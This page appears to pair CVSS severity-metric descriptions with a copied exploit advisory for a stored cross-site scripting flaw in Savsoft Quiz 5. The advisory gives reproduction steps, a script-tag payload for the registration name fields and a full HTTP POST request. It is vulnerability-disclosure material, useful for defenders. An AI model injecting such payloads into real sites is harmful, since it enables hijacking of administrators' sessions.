The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
Low
A
There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.
Below is a copy: Savsoft Quiz 5 Stored Cross-Site Scripting
# Exploit Title: Savsoft Quiz 5 - Stored Cross-Site Scripting
# Date: 2020-07-28
# Exploit Author: Mayur Parmar(th3cyb3rc0p)
# Vendor Homepage: https://savsoftquiz.com/
# Software Link: https://github.com/savsofts/savsoftquiz_v5.git
# Version: 5.0
# Tested on: Windows 10
# Contact: https://www.linkedin.com/in/th3cyb3rc0p/
Stored Cross-site scripting(XSS):
Stored attacks are those where the injected script is permanently stored on the target servers,
such as in a database, in a message forum, visitor log, comment field, etc.
The victim then retrieves the malicious script from the server when it requests the stored information.
Stored XSS is also sometimes referred to as Persistent XSS.
Attack vector:
This vulnerability can results attacker to inject the XSS payload in User Registration section and each time admin visits the manage user section from admin panel,
the XSS triggers and attacker can able to steal the cookie according to the crafted payload.
Vulnerable Parameters: First Name, Last Name
Steps for reproduce:
1. Goto registration page
2. fill the details. & put <script>alert("XSS")</script> payload in First name,Last name
3. Now goto Admin Panel.we can see that our payload gets executed.
POST /index.php/login/insert_user/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 255
Origin: http://localhost
Connection: close
Referer: http://localhost/index.php/login/registration/
Cookie: ci_session=d99b121b1213b92a163181fd49c75f667dbce9ea
Upgrade-Insecure-Requests: 1
email=hack3r%40gmail.com&password=Hacker%40gmail.com&first_name=%3Cscript%3Ealert%28%22XSS+0%22%29%3B%3C%2Fscript%3E&last_name=%3Cscript%3Ealert%28%22XSS+2%22%29%3B%3C%2Fscript%3E&contact_no=9876543210&gid%5B%5D=1